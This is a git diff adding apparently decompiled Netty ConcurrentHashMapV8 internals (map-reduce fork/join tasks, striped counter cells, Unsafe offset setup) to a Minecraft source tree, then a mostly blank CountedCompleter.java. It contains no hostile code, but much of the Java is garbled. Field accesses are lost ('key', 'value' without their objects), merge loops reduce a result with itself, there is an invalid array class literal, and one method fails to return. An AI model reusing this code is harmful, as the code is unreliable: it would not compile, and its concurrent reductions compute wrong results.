+    MapReduceKeysToDoubleTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceKeysToDoubleTask<K, V> nextRight, ConcurrentHashMapV8.ObjectToDouble<? super K> transformer, double basis, ConcurrentHashMapV8.DoubleByDoubleToDouble reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Double getRawResult() { return Double.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectToDouble<? super K> transformer;
+      ConcurrentHashMapV8.DoubleByDoubleToDouble reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        double r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceKeysToDoubleTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(key));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceKeysToDoubleTask<K, V> t = (MapReduceKeysToDoubleTask)c;
+          MapReduceKeysToDoubleTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceValuesToDoubleTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Double>
+  {
+    final ConcurrentHashMapV8.ObjectToDouble<? super V> transformer;
+    
+    final ConcurrentHashMapV8.DoubleByDoubleToDouble reducer;
+    final double basis;
+    double result;
+    MapReduceValuesToDoubleTask<K, V> rights;
+    MapReduceValuesToDoubleTask<K, V> nextRight;
+    
+    MapReduceValuesToDoubleTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceValuesToDoubleTask<K, V> nextRight, ConcurrentHashMapV8.ObjectToDouble<? super V> transformer, double basis, ConcurrentHashMapV8.DoubleByDoubleToDouble reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Double getRawResult() { return Double.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectToDouble<? super V> transformer;
+      ConcurrentHashMapV8.DoubleByDoubleToDouble reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        double r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceValuesToDoubleTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(val));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceValuesToDoubleTask<K, V> t = (MapReduceValuesToDoubleTask)c;
+          MapReduceValuesToDoubleTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceEntriesToDoubleTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Double>
+  {
+    final ConcurrentHashMapV8.ObjectToDouble<Map.Entry<K, V>> transformer;
+    
+    final ConcurrentHashMapV8.DoubleByDoubleToDouble reducer;
+    final double basis;
+    double result;
+    MapReduceEntriesToDoubleTask<K, V> rights;
+    MapReduceEntriesToDoubleTask<K, V> nextRight;
+    
+    MapReduceEntriesToDoubleTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceEntriesToDoubleTask<K, V> nextRight, ConcurrentHashMapV8.ObjectToDouble<Map.Entry<K, V>> transformer, double basis, ConcurrentHashMapV8.DoubleByDoubleToDouble reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Double getRawResult() { return Double.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectToDouble<Map.Entry<K, V>> transformer;
+      ConcurrentHashMapV8.DoubleByDoubleToDouble reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        double r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceEntriesToDoubleTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(p));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceEntriesToDoubleTask<K, V> t = (MapReduceEntriesToDoubleTask)c;
+          MapReduceEntriesToDoubleTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceMappingsToDoubleTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Double>
+  {
+    final ConcurrentHashMapV8.ObjectByObjectToDouble<? super K, ? super V> transformer;
+    
+    final ConcurrentHashMapV8.DoubleByDoubleToDouble reducer;
+    final double basis;
+    double result;
+    MapReduceMappingsToDoubleTask<K, V> rights;
+    MapReduceMappingsToDoubleTask<K, V> nextRight;
+    
+    MapReduceMappingsToDoubleTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceMappingsToDoubleTask<K, V> nextRight, ConcurrentHashMapV8.ObjectByObjectToDouble<? super K, ? super V> transformer, double basis, ConcurrentHashMapV8.DoubleByDoubleToDouble reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Double getRawResult() { return Double.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectByObjectToDouble<? super K, ? super V> transformer;
+      ConcurrentHashMapV8.DoubleByDoubleToDouble reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        double r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceMappingsToDoubleTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(key, val));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceMappingsToDoubleTask<K, V> t = (MapReduceMappingsToDoubleTask)c;
+          MapReduceMappingsToDoubleTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceKeysToLongTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Long>
+  {
+    final ConcurrentHashMapV8.ObjectToLong<? super K> transformer;
+    
+    final ConcurrentHashMapV8.LongByLongToLong reducer;
+    final long basis;
+    long result;
+    MapReduceKeysToLongTask<K, V> rights;
+    MapReduceKeysToLongTask<K, V> nextRight;
+    
+    MapReduceKeysToLongTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceKeysToLongTask<K, V> nextRight, ConcurrentHashMapV8.ObjectToLong<? super K> transformer, long basis, ConcurrentHashMapV8.LongByLongToLong reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Long getRawResult() { return Long.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectToLong<? super K> transformer;
+      ConcurrentHashMapV8.LongByLongToLong reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        long r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceKeysToLongTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(key));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceKeysToLongTask<K, V> t = (MapReduceKeysToLongTask)c;
+          MapReduceKeysToLongTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceValuesToLongTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Long>
+  {
+    final ConcurrentHashMapV8.ObjectToLong<? super V> transformer;
+    
+    final ConcurrentHashMapV8.LongByLongToLong reducer;
+    final long basis;
+    long result;
+    MapReduceValuesToLongTask<K, V> rights;
+    MapReduceValuesToLongTask<K, V> nextRight;
+    
+    MapReduceValuesToLongTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceValuesToLongTask<K, V> nextRight, ConcurrentHashMapV8.ObjectToLong<? super V> transformer, long basis, ConcurrentHashMapV8.LongByLongToLong reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Long getRawResult() { return Long.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectToLong<? super V> transformer;
+      ConcurrentHashMapV8.LongByLongToLong reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        long r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceValuesToLongTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(val));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceValuesToLongTask<K, V> t = (MapReduceValuesToLongTask)c;
+          MapReduceValuesToLongTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceEntriesToLongTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Long>
+  {
+    final ConcurrentHashMapV8.ObjectToLong<Map.Entry<K, V>> transformer;
+    
+    final ConcurrentHashMapV8.LongByLongToLong reducer;
+    final long basis;
+    long result;
+    MapReduceEntriesToLongTask<K, V> rights;
+    MapReduceEntriesToLongTask<K, V> nextRight;
+    
+    MapReduceEntriesToLongTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceEntriesToLongTask<K, V> nextRight, ConcurrentHashMapV8.ObjectToLong<Map.Entry<K, V>> transformer, long basis, ConcurrentHashMapV8.LongByLongToLong reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Long getRawResult() { return Long.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectToLong<Map.Entry<K, V>> transformer;
+      ConcurrentHashMapV8.LongByLongToLong reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        long r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceEntriesToLongTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(p));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceEntriesToLongTask<K, V> t = (MapReduceEntriesToLongTask)c;
+          MapReduceEntriesToLongTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceMappingsToLongTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Long>
+  {
+    final ConcurrentHashMapV8.ObjectByObjectToLong<? super K, ? super V> transformer;
+    
+    final ConcurrentHashMapV8.LongByLongToLong reducer;
+    final long basis;
+    long result;
+    MapReduceMappingsToLongTask<K, V> rights;
+    MapReduceMappingsToLongTask<K, V> nextRight;
+    
+    MapReduceMappingsToLongTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceMappingsToLongTask<K, V> nextRight, ConcurrentHashMapV8.ObjectByObjectToLong<? super K, ? super V> transformer, long basis, ConcurrentHashMapV8.LongByLongToLong reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Long getRawResult() { return Long.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectByObjectToLong<? super K, ? super V> transformer;
+      ConcurrentHashMapV8.LongByLongToLong reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        long r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceMappingsToLongTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(key, val));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceMappingsToLongTask<K, V> t = (MapReduceMappingsToLongTask)c;
+          MapReduceMappingsToLongTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceKeysToIntTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Integer>
+  {
+    final ConcurrentHashMapV8.ObjectToInt<? super K> transformer;
+    
+    final ConcurrentHashMapV8.IntByIntToInt reducer;
+    final int basis;
+    int result;
+    MapReduceKeysToIntTask<K, V> rights;
+    MapReduceKeysToIntTask<K, V> nextRight;
+    
+    MapReduceKeysToIntTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceKeysToIntTask<K, V> nextRight, ConcurrentHashMapV8.ObjectToInt<? super K> transformer, int basis, ConcurrentHashMapV8.IntByIntToInt reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Integer getRawResult() { return Integer.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectToInt<? super K> transformer;
+      ConcurrentHashMapV8.IntByIntToInt reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        int r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceKeysToIntTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(key));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceKeysToIntTask<K, V> t = (MapReduceKeysToIntTask)c;
+          MapReduceKeysToIntTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceValuesToIntTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Integer>
+  {
+    final ConcurrentHashMapV8.ObjectToInt<? super V> transformer;
+    
+    final ConcurrentHashMapV8.IntByIntToInt reducer;
+    final int basis;
+    int result;
+    MapReduceValuesToIntTask<K, V> rights;
+    MapReduceValuesToIntTask<K, V> nextRight;
+    
+    MapReduceValuesToIntTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceValuesToIntTask<K, V> nextRight, ConcurrentHashMapV8.ObjectToInt<? super V> transformer, int basis, ConcurrentHashMapV8.IntByIntToInt reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Integer getRawResult() { return Integer.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectToInt<? super V> transformer;
+      ConcurrentHashMapV8.IntByIntToInt reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        int r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceValuesToIntTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(val));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceValuesToIntTask<K, V> t = (MapReduceValuesToIntTask)c;
+          MapReduceValuesToIntTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceEntriesToIntTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Integer>
+  {
+    final ConcurrentHashMapV8.ObjectToInt<Map.Entry<K, V>> transformer;
+    
+    final ConcurrentHashMapV8.IntByIntToInt reducer;
+    final int basis;
+    int result;
+    MapReduceEntriesToIntTask<K, V> rights;
+    MapReduceEntriesToIntTask<K, V> nextRight;
+    
+    MapReduceEntriesToIntTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceEntriesToIntTask<K, V> nextRight, ConcurrentHashMapV8.ObjectToInt<Map.Entry<K, V>> transformer, int basis, ConcurrentHashMapV8.IntByIntToInt reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Integer getRawResult() { return Integer.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectToInt<Map.Entry<K, V>> transformer;
+      ConcurrentHashMapV8.IntByIntToInt reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        int r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceEntriesToIntTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(p));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceEntriesToIntTask<K, V> t = (MapReduceEntriesToIntTask)c;
+          MapReduceEntriesToIntTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+
+  static final class MapReduceMappingsToIntTask<K, V>
+    extends ConcurrentHashMapV8.BulkTask<K, V, Integer>
+  {
+    final ConcurrentHashMapV8.ObjectByObjectToInt<? super K, ? super V> transformer;
+    
+    final ConcurrentHashMapV8.IntByIntToInt reducer;
+    final int basis;
+    int result;
+    MapReduceMappingsToIntTask<K, V> rights;
+    MapReduceMappingsToIntTask<K, V> nextRight;
+    
+    MapReduceMappingsToIntTask(ConcurrentHashMapV8.BulkTask<K, V, ?> p, int b, int i, int f, ConcurrentHashMapV8.Node<K, V>[] t, MapReduceMappingsToIntTask<K, V> nextRight, ConcurrentHashMapV8.ObjectByObjectToInt<? super K, ? super V> transformer, int basis, ConcurrentHashMapV8.IntByIntToInt reducer)
+    {
+      super(b, i, f, t);this.nextRight = nextRight;
+      this.transformer = transformer;
+      this.basis = basis;this.reducer = reducer; }
+    
+    public final Integer getRawResult() { return Integer.valueOf(result); }
+    
+    public final void compute() { ConcurrentHashMapV8.ObjectByObjectToInt<? super K, ? super V> transformer;
+      ConcurrentHashMapV8.IntByIntToInt reducer;
+      if (((transformer = this.transformer) != null) && ((reducer = this.reducer) != null))
+      {
+        int r = basis;
+        int f; int h; for (int i = baseIndex; (batch > 0) && ((h = (f = baseLimit) + i >>> 1) > i);)
+        {
+          addToPendingCount(1);
+          (this.rights = new MapReduceMappingsToIntTask(this, this.batch >>>= 1, this.baseLimit = h, f, tab, rights, transformer, r, reducer)).fork();
+        }
+        
+        ConcurrentHashMapV8.Node<K, V> p;
+        while ((p = advance()) != null)
+          r = reducer.apply(r, transformer.apply(key, val));
+        result = r;
+        
+        for (CountedCompleter<?> c = firstComplete(); c != null; c = c.nextComplete())
+        {
+          MapReduceMappingsToIntTask<K, V> t = (MapReduceMappingsToIntTask)c;
+          MapReduceMappingsToIntTask<K, V> s = rights;
+          while (s != null) {
+            result = reducer.apply(result, result);
+            s = t.rights = nextRight;
+          }
+        }
+      }
+    }
+  }
+  
+  static final class CounterCell {
+    volatile long p0;
+    volatile long p1;
+    volatile long p2;
+    volatile long p3;
+    volatile long p4;
+    volatile long p5;
+    volatile long p6;
+    
+    CounterCell(long x) {
+      value = x;
+    }
+    
+
+    volatile long value;
+    
+    volatile long q0;
+    volatile long q1;
+    volatile long q2;
+    volatile long q3;
+    volatile long q4;
+    volatile long q5;
+    volatile long q6;
+  }
+  
+  static final AtomicInteger counterHashCodeGenerator = new AtomicInteger();
+  static final int SEED_INCREMENT = 1640531527;
+  private static final Unsafe U;
+  private static final long SIZECTL;
+  private static final long TRANSFERINDEX;
+  private static final long TRANSFERORIGIN;
+  
+  final long sumCount()
+  {
+    CounterCell[] as = counterCells;
+    long sum = baseCount;
+    if (as != null) {
+      for (int i = 0; i < as.length; i++) { CounterCell a;
+        if ((a = as[i]) != null)
+          sum += value;
+      }
+    }
+    return sum;
+  }
+  
+
+  private final void fullAddCount(InternalThreadLocalMap threadLocals, long x, IntegerHolder hc, boolean wasUncontended)
+  {
+    int h;
+    
+    if (hc == null) {
+      hc = new IntegerHolder();
+      int s = counterHashCodeGenerator.addAndGet(1640531527);
+      int h = hc.value = s == 0 ? 1 : s;
+      threadLocals.setCounterHashCode(hc);
+    }
+    else {
+      h = value; }
+    boolean collide = false;
+    for (;;) { CounterCell[] as;
+      int n;
+      if (((as = counterCells) != null) && ((n = as.length) > 0)) { CounterCell a;
+        if ((a = as[(n - 1 & h)]) == null) {
+          if (cellsBusy == 0) {
+            CounterCell r = new CounterCell(x);
+            if ((cellsBusy == 0) && (U.compareAndSwapInt(this, CELLSBUSY, 0, 1)))
+            {
+              boolean created = false;
+              try { CounterCell[] rs;
+                int m;
+                int j; if (((rs = counterCells) != null) && ((m = rs.length) > 0) && (rs[(j = m - 1 & h)] == null))
+                {
+
+                  rs[j] = r;
+                  created = true;
+                }
+              } finally {
+                cellsBusy = 0;
+              }
+              if (!created) continue;
+              break;
+            }
+          }
+          
+          collide = false;
+        }
+        else if (!wasUncontended) {
+          wasUncontended = true; } else { long v;
+          if (U.compareAndSwapLong(a, CELLVALUE, v = value, v + x))
+            break;
+          if ((counterCells != as) || (n >= NCPU)) {
+            collide = false;
+          } else if (!collide) {
+            collide = true;
+          } else if ((cellsBusy == 0) && (U.compareAndSwapInt(this, CELLSBUSY, 0, 1)))
+          {
+            try {
+              if (counterCells == as) {
+                CounterCell[] rs = new CounterCell[n << 1];
+                for (int i = 0; i < n; i++)
+                  rs[i] = as[i];
+                counterCells = rs;
+              }
+            } finally {
+              cellsBusy = 0;
+            }
+            collide = false;
+            continue;
+          } }
+        h ^= h << 13;
+        h ^= h >>> 17;
+        h ^= h << 5;
+      }
+      else if ((cellsBusy == 0) && (counterCells == as) && (U.compareAndSwapInt(this, CELLSBUSY, 0, 1)))
+      {
+        boolean init = false;
+        try {
+          if (counterCells == as) {
+            CounterCell[] rs = new CounterCell[2];
+            rs[(h & 0x1)] = new CounterCell(x);
+            counterCells = rs;
+            init = true;
+          }
+        } finally {
+          cellsBusy = 0;
+        }
+        if (init)
+          break;
+      } else { long v;
+        if (U.compareAndSwapLong(this, BASECOUNT, v = baseCount, v + x)) break;
+      }
+    }
+    value = h;
+  }
+  
+
+  private static final long BASECOUNT;
+  
+  private static final long CELLSBUSY;
+  
+  private static final long CELLVALUE;
+  
+  private static final long ABASE;
+  private static final int ASHIFT;
+  static
+  {
+    try
+    {
+      U = getUnsafe();
+      Class<?> k = ConcurrentHashMapV8.class;
+      SIZECTL = U.objectFieldOffset(k.getDeclaredField("sizeCtl"));
+      
+      TRANSFERINDEX = U.objectFieldOffset(k.getDeclaredField("transferIndex"));
+      
+      TRANSFERORIGIN = U.objectFieldOffset(k.getDeclaredField("transferOrigin"));
+      
+      BASECOUNT = U.objectFieldOffset(k.getDeclaredField("baseCount"));
+      
+      CELLSBUSY = U.objectFieldOffset(k.getDeclaredField("cellsBusy"));
+      
+      Class<?> ck = CounterCell.class;
+      CELLVALUE = U.objectFieldOffset(ck.getDeclaredField("value"));
+      
+      Class<?> ak = [Lio.netty.util.internal.chmv8.ConcurrentHashMapV8.Node.class;
+      ABASE = U.arrayBaseOffset(ak);
+      int scale = U.arrayIndexScale(ak);
+      if ((scale & scale - 1) != 0)
+        throw new Error("data type scale not a power of two");
+      ASHIFT = 31 - Integer.numberOfLeadingZeros(scale);
+    } catch (Exception e) {
+      throw new Error(e);
+    }
+  }
+  
+
+
+
+
+
+  private static Unsafe getUnsafe()
+  {
+    try
+    {
+      return Unsafe.getUnsafe();
+    } catch (SecurityException tryReflectionInstead) {
+      try {
+        (Unsafe)AccessController.doPrivileged(new PrivilegedExceptionAction()
+        {
+          public Unsafe run() throws Exception {
+            Class<Unsafe> k = Unsafe.class;
+            for (Field f : k.getDeclaredFields()) {
+              f.setAccessible(true);
+              Object x = f.get(null);
+              if (k.isInstance(x))
+                return (Unsafe)k.cast(x);
+            }
+            throw new NoSuchFieldError("the Unsafe");
+          }
+        });
+      } catch (PrivilegedActionException e) { throw new RuntimeException("Could not initialize intrinsics", e.getCause());
+      }
+    }
+  }
+  
+  public ConcurrentHashMapV8() {}
+  
+  static final class CounterHashCode
+  {
+    int code;
+    
+    CounterHashCode() {}
+  }
+}
diff --git a/src/minecraft/io/netty/util/internal/chmv8/CountedCompleter.java b/src/minecraft/io/netty/util/internal/chmv8/CountedCompleter.java
new file mode 100644
index 0000000..a81149b
--- /dev/null
+++ b/src/minecraft/io/netty/util/internal/chmv8/CountedCompleter.java
@@ -0,0 +1,775 @@
+package io.netty.util.internal.chmv8;
+
+import java.lang.reflect.Field;
+import java.security.AccessController;
+import java.security.PrivilegedActionException;
+import java.security.PrivilegedExceptionAction;
+import sun.misc.Unsafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
